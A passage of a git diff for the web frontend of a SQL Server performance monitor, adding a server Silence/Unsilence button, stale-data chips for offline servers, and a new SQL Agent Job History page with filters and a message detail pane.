-  if (untagged.length) groups.push({ key: "untagged", name: "Untagged", depth: 0, cards: untagged, hasChildren: true });
-
-  return groups;
-}
-
-/* Name/tag filter, matching the desktop apps' ServerOverviewFilter rule: an empty term matches everything,
-   otherwise a case-insensitive substring of the display name, the instance name, or any of the server's tag
-   names (#2020) — so `prod` finds both sql-prod-01 and everything tagged Production, as on the desktop. */
-function cardMatches(c, q) {
-  const needle = (q || "").trim().toLowerCase();
-  if (!needle) return true;
-  return (
-    (c.display_name || "").toLowerCase().includes(needle) ||
-    (c.server_name || "").toLowerCase().includes(needle) ||
-    (c.tags || []).some((t) => (t.name || "").toLowerCase().includes(needle))
-  );
-}
-
 /* The needs-attention predicate (#2437). It reads the card's PRE-BANDED `band` — the same field
    BuildRollup counted `additional_problem_count` from (`cards.Where(c => c.Band != FleetHealthBand.Healthy)`)
    and the same one the Warning / Critical / Offline roll-up tiles are summed from. That is the whole point: a
@@ -162,7 +114,153 @@ function tagPills(c) {
   );
 }
 
+/* ─────────────── Silence This Server / Unsilence (#4843) ───────────────
+   The web twin of the desktop sidebar's whole-server silence: one click writes the rule the desktop's
+   BuildServerSilenceRule builds (keyed on the store server id, no pattern fields, no expiry, the reason below),
+   through the existing POST /api/mute-rules; Unsilence reads get_mute_rules and DELETEs exactly the rules that
+   every whole-server rule keyed on the server's id (the desktop's IsWholeServerSilence, the bell's own test), so a narrower rule
+   is never touched. The reason is the string the desktop stamps (ViewerDataService.ServerSilenceReason) but is not matched.
+
+   The 60 s poll rebuilds this page, so the state lives at module scope keyed by server id: `silencePending` holds
+   the servers with a write in flight (a rebuilt card shows its button disabled and a second click is ignored),
+   and `silenceOverride` holds the answer the user just produced until the fleet read agrees with it, so a card
+   rebuilt from a read that predates the write does not flip back. The server stays the authority for the write
+   gate; the buttons exist only when /api/session reports can_edit. */
+export const SILENCE_REASON = "Silenced from server list";
+const SILENCE_OVERRIDE_MS = 120000;
+const silencePending = new Set();
+const silenceOverride = new Map();
+let silenceNotice = null;
+let canEditSilence = false;
+
+/** The POST body: the desktop rule's shape, as the create route's fields. */
+export function silenceBody(card) {
+  return { server_id: card.server_id, server_name: card.display_name, reason: SILENCE_REASON };
+}
+
+/* True when no pattern field narrows the rule: the desktop's IsWholeServerSilence (ViewerDataService.MuteRules.cs),
+   which is also what the card's bell (is_silenced) tests. The reason is NOT part of the test: a rule made over MCP,
+   by hand or with an edited reason still silences the whole server, so Unsilence has to remove it too. */
+function noPatterns(rule) {
+  return rule.metric_name == null
+    && rule.database_pattern == null
+    && rule.query_text_pattern == null
+    && rule.wait_type_pattern == null
+    && rule.job_name_pattern == null;
+}
+
+/** A whole-server silence keyed on this server's id. Enabled/expiry are not part of the match (as on the desktop). */
+export function isWholeServerSilence(rule, serverId) {
+  return !!rule && rule.server_id != null && rule.server_id === serverId && noPatterns(rule);
+}
+
+/** A legacy whole-server silence with no id that matches by display name. The desktop rewrites it for the other
+   servers sharing the name before deleting it; the web does not port that step, so it is left for the Mute Rules page. */
+export function isNameOnlyWholeServerSilence(rule, displayName) {
+  return !!rule
+    && rule.server_id == null
+    && typeof rule.server_name === "string"
+    && typeof displayName === "string"
+    && rule.server_name.toLowerCase() === displayName.toLowerCase()
+    && noPatterns(rule);
+}
+
+/** How long a write may take before the button is given back. A test shortens it. */
+export const silenceTimeouts = { writeMs: 20000 };
+
+function withTimeout(promise) {
+  let timer;
+  const limit = new Promise((_, reject) => {
+    timer = setTimeout(() => reject(new Error("the service did not answer in time; check the Mute Rules page before trying again")), silenceTimeouts.writeMs);
+  });
+  return Promise.race([promise, limit]).finally(() => clearTimeout(timer));
+}
+
+/** Whether the card shows as silenced: the user's own pending answer for the server wins until the fleet read agrees. */
+export function effectiveSilenced(card, now) {
+  const o = silenceOverride.get(card.server_id);
+  if (o) {
+    if (o.silenced === !!card.is_silenced || (now || Date.now()) - o.at > SILENCE_OVERRIDE_MS) silenceOverride.delete(card.server_id);
+    else return o.silenced;
+  }
+  return !!card.is_silenced;
+}
+
+function confirmSilence(ask) {
+  return !(typeof globalThis.confirm === "function") || globalThis.confirm(ask);
+}
+
+async function toggleSilence(card) {
+  const id = card.server_id;
+  if (silencePending.has(id)) return;
+  const silenced = effectiveSilenced(card);
+  const name = card.display_name;
+  const ask = silenced
+    ? "Unsilence '" + name + "'?\n\nAlerts for this server are delivered again once the service reloads (a few seconds)."
+    : "Silence all alerts for '" + name + "'?\n\nThis mutes every alert for the server, suppressed alerts are still logged. Unsilence removes it.";
+  if (!confirmSilence(ask)) return;
+  silencePending.add(id);
+  silenceNotice = null;
+  redrawCards();
+  try {
+    if (!silenced) {
+      const res = await withTimeout(createRule(silenceBody(card)));
+      if (res.kind !== "ok" && res.kind !== "exists") throw new Error(res.message);
+    } else {
+      const read = await withTimeout(readTool("get_mute_rules", { enabled_only: false }));
+      if (read.kind === "error") throw new Error(read.message);
+      const rules = (read.data && read.data.mute_rules) || [];
+      const own = rules.filter((r) => isWholeServerSilence(r, id));
+      const nameOnly = rules.some((r) => isNameOnlyWholeServerSilence(r, name));
+      for (const r of own) {
+        const res = await withTimeout(deleteRule(r.id));
+        if (res.kind !== "ok" && res.kind !== "notfound") throw new Error(res.message);
+      }
+      if (nameOnly) {
+        silenceNotice = { error: false, text: "'" + name + "' is also silenced by an older rule that names the server but has no server id, and other servers may share that name. Remove it on the Mute Rules page." };
+        if (own.length) silenceOverride.delete(id);
+        return;
+      }
+    }
+    silenceOverride.set(id, { silenced: !silenced, at: Date.now() });
+    silenceNotice = { error: false, text: (silenced ? "Unsilenced '" : "Silenced '") + name + "'. The service applies it within a few seconds." };
+  } catch (e) {
+    silenceNotice = { error: true, text: "Could not " + (silenced ? "unsilence" : "silence") + " '" + name + "': " + (e && e.message ? e.message : String(e)) };
+  } finally {
+    silencePending.delete(id);
+    redrawCards();
+  }
+}
+
+function silenceNoticeNode() {
+  return silenceNotice ? el("div", { class: "strip " + (silenceNotice.error ? "error" : "notice"), role: "status", text: silenceNotice.text }) : null;
+}
+
+/** The card's Silence / Unsilence button, or null when the session cannot edit. A click never opens the server. */
+function silenceButton(c) {
+  if (!canEditSilence) return null;
+  const silenced = effectiveSilenced(c);
+  const busy = silencePending.has(c.server_id);
+  const label = silenced ? "Unsilence" : "Silence";
+  const btn = el("button", {
+    type: "button",
+    class: "silence-btn",
+    title: silenced ? "Unsilence this server" : "Silence This Server",
+    "aria-label": label + " " + c.display_name,
+    disabled: busy ? "disabled" : null,
+    text: busy ? "…" : label,
+    onClick: (e) => {
+      e.stopPropagation();
+      toggleSilence(c);
+    },
+  });
+  btn.addEventListener("keydown", (e) => e.stopPropagation());
+  return btn;
+}
+
 export async function renderFleet(main) {
+  silenceNotice = null; /* a notice lasts until the next rebuild (the 60 s poll) */
+  canEditSilence = !!(await api.getSession()).can_edit;
   mount(main, [pageHead(null), loadingStrip("Loading fleet…")]);
 
   const res = await apiGetFleet();
@@ -240,7 +338,7 @@ function redrawCards() {
   const searched = lastCards.filter((c) => cardMatches(c, fleetFilter));
   const matched = (attentionOnly ? searched.filter(cardNeedsAttention) : searched)
     .slice()
-    .sort(SORTS[fleetSort] || SORTS.severity);
+    .sort(favoritesFirst(SORTS[fleetSort] || SORTS.severity));
 
   /* The active state rides with the CARDS, not only with the toggle that set it. The desktop viewer can put
      its count beside the toggle and stop there because its roll-up header is docked and never scrolls; this
@@ -250,11 +348,12 @@ function redrawCards() {
   const notice = attentionOnly ? attentionNotice(matched.length, searched.length) : null;
 
   if (fleetGrouped && lastTags.length) {
-    mount(gridNode, [notice, renderGrouped(matched)]);
+    mount(gridNode, [silenceNoticeNode(), notice, renderGrouped(matched)]);
     return;
   }
 
   mount(gridNode, [
+    silenceNoticeNode(),
     notice,
     matched.length
       ? el("div", { class: "grid server-grid" }, matched.map(serverCard))
@@ -318,7 +417,7 @@ function setAttentionOnly(on) {
    header hides its cards AND every descendant group via the hideBelow depth-gate, mirroring FleetView's
    collapse-reveal (a collapsed tag hides its whole subtree). */
 function renderGrouped(matched) {
-  const groups = buildTagGroups(lastTags, matched, SORTS[fleetSort] || SORTS.severity);
+  const groups = buildTagGroups(lastTags, matched, favoritesFirst(SORTS[fleetSort] || SORTS.severity));
   if (!groups.length) {
     return [el("div", { class: "muted", style: "padding:0.5rem", text: fleetFilter.trim() ? "No servers match “" + fleetFilter.trim() + "”." : "No tagged servers yet." })];
   }
@@ -468,19 +567,31 @@ function groupControl() {
  *
  * Returns null (no sub-line) for a response with no coverage object or an empty fleet — nothing to qualify.
  */
-function deadlockCoverageSub(coverage) {
+export function deadlockCoverageSub(coverage) {
   if (!coverage || typeof coverage.servers_total !== "number" || coverage.servers_total <= 0) return null;
 
   const total = coverage.servers_total;
   const read = typeof coverage.servers_read === "number" ? coverage.servers_read : 0;
   const noun = total === 1 ? "server" : "servers";
 
-  return read >= total
-    ? { text: "read all " + fmtInt(total) + " " + noun, partial: false }
-    : { text: "read " + fmtInt(read) + " of " + fmtInt(total) + " " + noun, partial: true };
+  if (read >= total) return { text: "read all " + fmtInt(total) + " " + noun, partial: false };
+
+  /* Says why the line is short, in the words a reader of the fleet page uses: the tile counts deadlocks only on the
+     servers whose deadlock data could be read. */
+  const unread = total - read;
+  return {
+    text: "read " + fmtInt(read) + " of " + fmtInt(total) + " " + noun,
+    partial: true,
+    title:
+      "The deadlock count covers the " + fmtInt(read) + " " + (read === 1 ? "server" : "servers") + " whose deadlock data could be read. " +
+      "The other " + fmtInt(unread) + " " + (unread === 1 ? "server is" : "servers are") +
+      " not counted: " + (unread === 1 ? "its" : "their") +
+      " deadlock collection is off, refused, or has not run lately (for example a server that is offline), " +
+      "so a deadlock there would not show up in this number.",
+  };
 }
 
-function rollup(d) {
+export function rollup(d) {
   /* #3031: every tile's number is programmatically tied to the text that says what it counts. The label and
      the coverage sub-line carry stable ids and the number describes itself with them, so the figure and its
      meaning travel together for a consumer that reaches the number's node on its own rather than browsing
@@ -507,7 +618,7 @@ function rollup(d) {
       el("div", { class: "lbl", id: lblId, text: lbl }),
       /* The sub-line's colour tracks COVERAGE, not the tile's number severity: "read all 12 servers" under a
          red count is good news about a bad number and must not be painted as part of the alarm. */
-      sub ? el("div", { class: sub.partial ? "sub partial" : "sub", id: subId, text: sub.text }) : null,
+      sub ? el("div", { class: sub.partial ? "sub partial" : "sub", id: subId, text: sub.text, title: sub.title || null }) : null,
     ]);
   };
 
@@ -563,7 +674,7 @@ function serverCard(c) {
     c.is_online === false
       ? c.last_collection
         ? " · last collect " + relTime(c.last_collection)
-        : " · no recent collection"
+        : " · " + DARK_PAST_WINDOW
       : " · last collect " + localClock(c.last_collection);
   const statusLine = c.awaiting_first_collection
     ? el("div", { class: "status-line awaiting", text: c.status })
@@ -575,10 +686,13 @@ function serverCard(c) {
     [
       el("div", { class: "head" }, [
         el("span", { class: "dot " + cls }),
-        /* #2031: a muted-bell right of the dot when a whole-server alert silence is active — display-only
-           (the web seat has no silence action), so a silenced server stops looking healthy-quiet. */
-        c.is_silenced ? el("span", { class: "silenced-bell", title: "Alerts silenced for this server", role: "img", "aria-label": "Alerts silenced" }) : null,
+        /* #2031: a muted-bell right of the dot when a whole-server alert silence is active, so a silenced
+           server stops looking healthy-quiet. The Silence / Unsilence button beside it shows for an editing seat. */
+        effectiveSilenced(c) ? el("span", { class: "silenced-bell", title: "Alerts silenced for this server", role: "img", "aria-label": "Alerts silenced" }) : null,
         el("span", { class: "title", text: c.display_name }),
+        alertBadge(c.server_id),
+        favoriteStar(c.server_id),
+        silenceButton(c),
       ]),
       statusLine,
       tagPills(c),
@@ -596,6 +710,12 @@ function serverCard(c) {
    that says only "Warning" is #2422 rebuilt on a new surface. These chips are the answer, and they are the
    SERVER's severities read off the card (R1), so the two surfaces cannot drift into different opinions the way
    a second derivation would. */
+/* An offline server's card shows when it last collected: the service reads that for a server the fleet read's 48-hour
+   window held nothing for (DarlingFleetReader.FleetOlderCollectionSql, one index descent per such server), so last_collection
+   carries the real age however long ago it was (release walk, W1b). Only when that read has no row to give (a server that never
+   wrote a collection, or the read failed) is there no date, and the page then says what is known: the window's bound. */
+export const DARK_PAST_WINDOW = "last collected more than 2 days ago";
+
 export function metricBands(c) {
   const threadsValue =
     c.threads_severity === "Unknown"
@@ -660,12 +780,29 @@ export function metricBands(c) {
     ? "OK"
     : "n/a";
   const collectorsDetail = collectorsStale
-    ? "no recent collection" + (c.last_collection ? " · last " + relTime(c.last_collection) : "")
+    ? "no recent collection · " + (c.last_collection ? "last " + relTime(c.last_collection) : DARK_PAST_WINDOW)
     : c.collector_count > 0
     ? fmtInt(c.healthy_collector_count) + " healthy · " + fmtInt(c.failed_collector_count) + " failing"
     : "no collector banded yet";
   const collectorsSeverity = collectorsStale ? "Unknown" : c.collector_severity;
 
+  /* #5489: a server whose newest collection is past the fleet's offline mark (is_online === false, the same
+     signal the Collectors chip above and the card's status line read) has no CURRENT reading. The values the
+     read still holds are the last ones collected, days ago: a 0% CPU, "ok" memory and 77 free threads off a
+     12-day-old row read as live health beside a CPU chart that says it has no data. So the five measurement
+     chips read "n/a" in the neutral Unknown tone, and each says when the last collection was. */
+  if (c.is_online === false) {
+    const staleDetail = c.last_collection ? "last collected " + relTime(c.last_collection) : DARK_PAST_WINDOW;
+    return el("div", { class: "metric-bands stale" }, [
+      chip("CPU", "n/a", "Unknown", staleDetail),
+      chip("Threads", "n/a", "Unknown", staleDetail),
+      chip("Memory", "n/a", "Unknown", staleDetail),
+      chip("Blocking", "n/a", "Unknown", staleDetail),
+      chip("Deadlocks", "n/a", "Unknown", staleDetail),
+      chip("Collectors", collectorsValue, collectorsSeverity, collectorsDetail),
+    ]);
+  }
+
   return el("div", { class: "metric-bands" }, [
     chip("CPU", cpuValue, c.cpu_severity, cpuDetail),
     chip("Threads", threadsValue, c.threads_severity, threadsDetail),
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/job-history.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/job-history.js
new file mode 100644
index 0000000000..f5120cf229
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/job-history.js
@@ -0,0 +1,400 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+/*
+ * Job History page (#4843): the web twin of the desktop viewer's Job History tab. SQL Agent job runs (steps and job
+ * outcomes) across the fleet, newest first, from get_job_history, with the viewer's filters: server, window,
+ * job, status and category, plus a row limit. Every filter is applied by the read itself, before its row limit.
+ *
+ * The filters live at MODULE scope, so the 60 s poll's rebuild of the page shows the same choices, the text being
+ * typed and the focus; the grid's sort is kept by the shared grid renderer. Every value from the read is drawn as
+ * text. The page says so when the window reaches past the history the store keeps, and when the row limit cut the list.
+ *
+ * Under the head, one line says what SQL Agent is doing now, from the read's own Agent fields (a named server's
+ * agent_running / agent_status_desc, or the fleet's agents_total / agents_running / agents_not_running; an empty answer carries them under hints): stopped in
+ * red, running, unknown when no recent snapshot backs it, or a plain "No SQL Agent service" for a server without one, with an
+ * "n of m servers" roll-up across the fleet.
+ */
+
+import { VIZ } from "../panels.js";
+import { pageRangePicker, windowOfSpec } from "../page-range.js";
+import { relativeSpec } from "../time-range.js";
+import { orderServers } from "../server-order.js";
+import { el, mount, clear, loadingStrip, emptyStrip, noticeStrip, errorStrip, readErrorStrip, readTool, readToolWithinKeptHistory, keptWindowStrip, localTime, makeActivatable } from "../util.js";
+
+/** The default range, in hours. The range itself is the shared time range picker's (#5562). */
+export const DEFAULT_HOURS = 24;
+
+/** The run statuses the read accepts; an empty value is every status. */
+export const STATUSES = [
+  { value: "", label: "All statuses" },
+  { value: "Failed", label: "Failed" },
+  { value: "Succeeded", label: "Succeeded" },
+  { value: "Retry", label: "Retry" },
+  { value: "Canceled", label: "Canceled" },
+];
+
+/** The row limits on offer (the read takes at most 1000). */
+export const LIMITS = [100, 250, 500, 1000];
+
+/** The desktop grid's columns, in its order: Run Time, Server, Job, Category, Step, Status, Duration, Retries, Last Success, Message. */
+export const JOB_HISTORY_COLUMNS = [
+  { key: "run_time", label: "Run Time", format: "time" },
+  { key: "server", label: "Server" },
+  { key: "job_name", label: "Job" },
+  { key: "category", label: "Category" },
+  { key: "step", label: "Step" },
+  { key: "status", label: "Status" },
+  { key: "duration_formatted", label: "Duration", sortValue: (r) => r.duration_seconds },
+  { key: "retries", label: "Retries", format: "int" },
+  { key: "last_success", label: "Last Success", format: "time" },
+  { key: "message", label: "Message", wrap: true, render: messageCell },
+];
+
+/* The Message column (the morning walk, W2). A failed step's message can run to thousands of characters and sat in a
+   column the table squeezed to about 90 px, so each row grew 150-250 px tall. The cell now has a readable width and
+   shows the first few lines only; the whole message opens in the detail pane when the row is clicked. */
+function messageCell(r) {
+  const text = r && r.message != null ? String(r.message) : "";
+  return el("div", { class: "jh-message", title: text || null, text });
+}
+
+/* A run has no id in the read, so the open row is found again after a rebuild by what identifies it. */
+function runKey(r) {
+  return [r.run_time, r.server, r.job_name, r.step].join("|");
+}
+
+/* The run whose detail pane is open; kept at module scope so the 60 s rebuild reopens the same pane. */
+let openRunKey = null;
+
+function selectionInside(node) {
+  const sel = typeof window !== "undefined" && window.getSelection ? window.getSelection() : null;
+  return !!sel && !sel.isCollapsed && String(sel).length > 0 && !!sel.anchorNode && node.contains(sel.anchorNode);
+}
+
+/* The filter state, kept across the 60 s rebuild. `jobDraft` is the job text as typed, applied on Enter or when
+   the box loses focus; `job` is the text the last read used. */
+const state = { server: "", spec: relativeSpec(DEFAULT_HOURS * 3600000), status: "", category: "", limit: 100, job: "", jobDraft: "", jobFocused: false, jobCaret: null };
+/* The categories seen in any answer, so the Category choices survive a filter that narrows the next answer. */
+const seenCategories = new Set();
+/* The server choices from the last list_servers read, so the rebuild paints its select at once. */
+let knownServers = [];
+let pageSeq = 0;
+let loadSeq = 0;
+let pageAbort = null;
+let loadAbort = null;
+
+function serverRows(data) {
+  if (Array.isArray(data)) return data;
+  if (data && Array.isArray(data.servers)) return data.servers;
+  return [];
+}
+
+/* Agent history exists only on SQL Server targets; a server whose engine is not stamped yet stays on offer. */
+function isSqlServerTarget(r) {
+  return !/postgres/i.test(String(r && r.engine_kind ? r.engine_kind : ""));
+}
+
+/** The row class for the desktop grid's colour coding: failed and long-running red/amber, retry amber, canceled grey. */
+export function runRowClass(r) {
+  if (!r) return "";
+  if (r.status === "Failed") return "sev-Critical";
+  if (r.is_long_running === true || r.status === "Retry") return "sev-Warning";
+  if (r.status === "Canceled") return "band-Offline";
+  return "";
+}
+
+function select(label, options, value, onPick) {
+  const sel = el(
+    "select",
+    { class: "range-select-inline", "aria-label": label },
+    options.map((o) => el("option", { value: String(o.value), text: o.label }))
+  );
+  sel.value = String(value);
+  sel.addEventListener("change", () => onPick(sel.value));
+  return { sel, label: el("label", { class: "range-control" }, [el("span", { text: label }), sel]) };
+}
+
+function serverOptions() {
+  const opts = [{ value: "", label: "All servers" }, ...knownServers.map((r) => ({ value: r.server_name, label: r.display_name || r.server_name }))];
+  if (state.server && !opts.some((o) => o.value === state.server)) opts.push({ value: state.server, label: state.server });
+  return opts;
+}
+
+function categoryOptions() {
+  const names = [...seenCategories];
+  if (state.category && !seenCategories.has(state.category)) names.push(state.category);
+  names.sort((a, b) => a.localeCompare(b));
+  return [{ value: "", label: "All categories" }, ...names.map((n) => ({ value: n, label: n }))];
+}
+
+function fill(sel, options, value) {
+  clear(sel);
+  for (const o of options) sel.appendChild(el("option", { value: String(o.value), text: o.label }));
+  sel.value = String(value);
+}
+
+/** The read takes whole hours back from the end, so a range of 30 minutes comes back as the whole hour. The runs are newest first, so
+ *  the row limit drops only the OLDEST ones and cutting at the range's start cannot hide a run inside it; the end is bounded in
+ *  the reader (R6), never here. */
+export function trimRunsToStart(data, w) {
+  if (!w || !Array.isArray(data.runs)) return data;
+  return {
+    ...data,
+    runs: data.runs.filter((r) => {
+      const t = Date.parse(r && r.run_time);
+      return !Number.isFinite(t) || t >= w.startMs;
+    }),
+  };
+}
+
+/** The window the held range reads as of now, or the default one when it cannot resolve. */
+function currentWindow() {
+  return windowOfSpec(state.spec) || windowOfSpec(relativeSpec(DEFAULT_HOURS * 3600000));
+}
+
+/** The read's parameters for the current filters; an empty filter is left off so the read applies none. */
+export function readParams(w = currentWindow()) {
+  /* A finished range sends its end as `as_of` (#5562 R6). The reader bounds the runs by that end in SQL, before the row limit
+     (JobHistoryFilter.UntilUtc, DarlingJobHistoryReader.cs), so the newest runs the limit keeps are the range's own. */
+  const p = { hours: w.hours, limit: state.limit };
+  if (w.asOf) p.as_of = w.asOf;
+  if (state.server) p.server = state.server;
+  /* The text in the box is what the next read uses, so a rebuild or another filter's change never leaves typed text unapplied. */
+  state.job = state.jobDraft.trim();
+  if (state.job) p.job_name = state.job;
+  if (state.status) p.status = state.status;
+  if (state.category) p.category = state.category;
+  return p;
+}
+
+/** The notice for a window that reaches past the retained history, or null. */
+export function retainedNote(data) {
+  if (!data || data.window_truncated !== true) return null;
+  const from = typeof data.effective_start === "string" && data.effective_start ? localTime(data.effective_start) : null;
+  return from
+    ? "partial window: the store keeps job history from " + from + ", after the window's start, so earlier runs are not shown."
+    : "partial window: the store keeps less job history than the window asks for, so earlier runs are not shown.";
+}
+
+/** The notice for a list the row limit cut, or null. */
+export function limitNote(data) {
+  if (!data || data.truncated !== true) return null;
+  const shown = Array.isArray(data.runs) ? data.runs.length : data.shown;
+  return "Showing the newest " + shown + " runs; more matched. Raise the row limit or narrow the filters to see the rest.";
+}
+
+/** The description the tool serves for a server whose collector found no SQL Agent service (DarlingJobReader.NoAgentServiceDescription). */
+const NO_AGENT_SERVICE = "no SQL Agent service found";
+
+/**
+ * The Agent line for an answer, or null when the answer carries no Agent state. `src` is the answer (or an empty
+ * answer's hints); `serverName` is the server the page asked for, used when the answer does not name one. Returns
+ * { level: "stopped" | "running" | "unknown" | "none", text }. A server with no SQL Agent service is not a stopped one:
+ * it reads "none", drawn as a plain line, and never turns the roll-up red.
+ */
+export function agentLine(src, serverName) {
+  if (!src || typeof src !== "object") return null;
+  let total;
+  let running;
+  let notRunning;
+  if (typeof src.agents_total === "number") {
+    total = src.agents_total;
+    running = typeof src.agents_running === "number" ? src.agents_running : 0;
+    notRunning = Array.isArray(src.agents_not_running) ? src.agents_not_running : [];
+  } else if ("agent_running" in src) {
+    total = 1;
+    running = src.agent_running === true ? 1 : 0;
+    notRunning = src.agent_running === true ? [] : [{ server: src.server || serverName || "", agent_running: src.agent_running, agent_status_desc: src.agent_status_desc }];
+  } else return null;
+  if (total === 0) return null;
+  const noService = notRunning.filter((a) => a.agent_running == null && a.agent_status_desc === NO_AGENT_SERVICE).map((a) => a.server || "");
+  const stopped = notRunning.filter((a) => a.agent_running === false).map((a) => a.server || "");
+  const unknown = notRunning.filter((a) => a.agent_running !== false && !(a.agent_running == null && a.agent_status_desc === NO_AGENT_SERVICE)).map((a) => a.server || "");
+  const level = stopped.length ? "stopped" : unknown.length ? "unknown" : noService.length === total ? "none" : "running";
+  if (total === 1) {
+    if (level === "stopped") return { level, text: "SQL Agent is stopped" + (stopped[0] ? " on " + stopped[0] : "") };
+    if (level === "unknown") return { level, text: "Agent status unknown (no recent snapshot)" };
+    if (level === "none") return { level, text: "No SQL Agent service" + (noService[0] ? " on " + noService[0] : "") };
+    return { level, text: "SQL Agent running" };
+  }
+  let text = "Agent running on " + running + " of " + total + " servers";
+  if (stopped.length) text += "; stopped on " + stopped.join(", ");
+  if (unknown.length) text += "; status unknown on " + unknown.join(", ");
+  if (noService.length) text += "; no SQL Agent service on " + noService.join(", ");
+  return { level, text };
+}
+
+export function renderJobHistory(main) {
+  if (pageAbort) pageAbort.abort();
+  if (loadAbort) loadAbort.abort();
+  const controller = (pageAbort = new AbortController());
+  const mine = ++pageSeq;
+  const body = el("div", {}, [loadingStrip("Loading job history…")]);
+
+  const reload = () => load();
+  /* The picker's reach comes from the catalog (get_job_history reaches 168 hours): a longer range is greyed out with the reason. */
+  const rangePicker = pageRangePicker({
+    read: "get_job_history",
+    spec: state.spec,
+    label: "Window",
+    onChange: (spec) => {
+      state.spec = spec;
+      reload();
+    },
+  }).picker;
+  const win = { label: el("div", { class: "range-control" }, [el("span", { text: "Window" }), rangePicker.node]) };
+  const server = select("Server", serverOptions(), state.server, (v) => {
+    state.server = v;
+    reload();
+  });
+  const status = select("Status", STATUSES, state.status, (v) => {
+    state.status = v;
+    reload();
+  });
+  const category = select("Category", categoryOptions(), state.category, (v) => {
+    state.category = v;
+    reload();
+  });
+  const limit = select("Rows", LIMITS.map((n) => ({ value: n, label: String(n) })), state.limit, (v) => {
+    state.limit = Number(v);
+    reload();
+  });
+  const job = el("input", { type: "text", class: "range-select-inline", "aria-label": "Job name", placeholder: "exact job name", value: state.jobDraft });
+  job.value = state.jobDraft;
+  job.addEventListener("input", () => {
+    state.jobDraft = job.value;
+    state.jobCaret = [job.selectionStart, job.selectionEnd];
+  });
+  job.addEventListener("focus", () => {
+    state.jobFocused = true;
+  });
+  const apply = () => {
+    state.jobDraft = job.value;
+    if (state.jobDraft.trim() !== state.job) reload();
+  };
+  /* The rebuild removes this box, and the browser fires blur DURING the removal while the box is still connected,
+     so the check waits a turn: a removed box neither clears the focus nor reads again. */
+  job.addEventListener("blur", () => {
+    setTimeout(() => {
+      if (!job.isConnected) return;
+      state.jobFocused = false;
+      apply();
+    }, 0);
+  });
+  job.addEventListener("keydown", (e) => {
+    if (e.key === "Enter") apply();
+  });
+  const jobLabel = el("label", { class: "range-control" }, [el("span", { text: "Job" }), job]);
+
+  const agentSlot = el("div", { class: "agent-line-slot" });
+  const showAgent = (src) => {
+    const line = agentLine(src, state.server);
+    mount(agentSlot, line ? el("div", { class: "agent-line agent-" + line.level, role: "status", text: line.text }) : []);
+  };
+
+  mount(main, [
+    el("div", { class: "page-head" }, [
+      el("h2", { text: "Job History" }),
+      el("div", { class: "spacer" }),
+      server.label,
+      win.label,
+      jobLabel,
+      status.label,
+      category.label,
+      limit.label,
+    ]),
+    agentSlot,
+    body,
+  ]);
+  if (state.jobFocused && typeof job.focus === "function") {
+    job.focus();
+    if (state.jobCaret && typeof job.setSelectionRange === "function") job.setSelectionRange(state.jobCaret[0], state.jobCaret[1]);
+  }
+
+  async function load() {
+    const ticket = ++loadSeq;
+    if (loadAbort) loadAbort.abort();
+    const signal = (loadAbort = new AbortController()).signal;
+    mount(body, loadingStrip("Loading job history…"));
+    try {
+      /* One window for the request and the trim: a live range's start moves with the clock, so a window recomputed after the reply would cut
+         later than the read began (#5562 review r1 L7). */
+      const w = currentWindow();
+      const res = await readToolWithinKeptHistory("get_job_history", readParams(w), signal);
+      if (ticket !== loadSeq) return;
+      if (res.kind === "aborted" || res.kind === "auth") return;
+      if (res.kind === "error") {
+        showAgent(null);
+        return mount(body, readErrorStrip(res.message));
+      }
+      const data = trimRunsToStart(res.data || {}, w);
+      const kept = keptWindowStrip(res);
+      showAgent(res.kind === "empty" ? res.hints : data);
+      if (res.kind === "empty") {
+        return mount(body, [kept, noticeFor(retainedNote(res.hints)), emptyStrip(res.message)]);
+      }
+      for (const r of data.runs || []) if (r.category) seenCategories.add(r.category);
+      fill(category.sel, categoryOptions(), state.category);
+      /* The detail pane (W2): a click, or Enter, on a run opens its whole message above the grid. */
+      const pane = el("div", { class: "jh-detail" });
+      const closeDetail = () => {
+        openRunKey = null;
+        mount(pane, []);
+      };
+      const openDetail = (r) => {
+        openRunKey = runKey(r);
+        const parts = [r.status, r.run_time ? localTime(r.run_time) : null, r.duration_formatted ? "took " + r.duration_formatted : null].filter(Boolean);
+        mount(pane, [
+          el("div", { class: "jh-detail-head" }, [
+            el("strong", { text: "Job run: " + [r.job_name, r.step].filter(Boolean).join(" / ") + (r.server ? " on " + r.server : "") }),
+            el("button", { type: "button", class: "jh-detail-close", text: "Close", onClick: closeDetail }),
+          ]),
+          el("div", { class: "muted", text: parts.join(" · ") }),
+          el("pre", { class: "jh-detail-message", text: r.message ? String(r.message) : "No message was recorded for this run." }),
+        ]);
+      };
+      const reopen = openRunKey ? (data.runs || []).find((r) => runKey(r) === openRunKey) : null;
+      if (reopen) openDetail(reopen);
+      else openRunKey = null;
+      const onRow = (r, tr) => {
+        if (!r) return;
+        tr.style.cursor = "pointer";
+        tr.setAttribute("title", "Show this run's whole message");
+        makeActivatable(tr, (e) => {
+          // A click that ends a text selection inside the row is the reader copying, not picking.
+          if (e && e.type === "click" && selectionInside(tr)) return;
+          openDetail(r);
+        });
+      };
+      mount(body, [
+        kept,
+        noticeFor(retainedNote(data)),
+        noticeFor(limitNote(data)),
+        el("div", { class: "muted", text: (data.runs || []).length + " runs shown" }),
+        pane,
+        VIZ.table(data, { id: "job-history", rowsKey: "runs", columns: JOB_HISTORY_COLUMNS, rowClass: runRowClass, onRow, emptyText: "No job runs matched in the requested time range." }),
+      ]);
+    } catch (e) {
+      if (ticket === loadSeq && e?.name !== "AbortError") mount(body, errorStrip("Could not render job history: " + (e && e.message ? e.message : String(e))));
+    }
+  }
+
+  /* The server choices are read beside the first load; a failed read leaves the cached list (or just All servers). */
+  (async () => {
+    const res = await readTool("list_servers", {}, controller.signal);
+    if (mine !== pageSeq || res.kind !== "data") return;
+    knownServers = orderServers(serverRows(res.data).filter(isSqlServerTarget));
+    fill(server.sel, serverOptions(), state.server);
+  })();
+  load();
+}
+
+function noticeFor(text) {
+  return text ? noticeStrip(text) : null;
+}
diff --git a/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/manage-tags.js b/Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/manage-tags.js
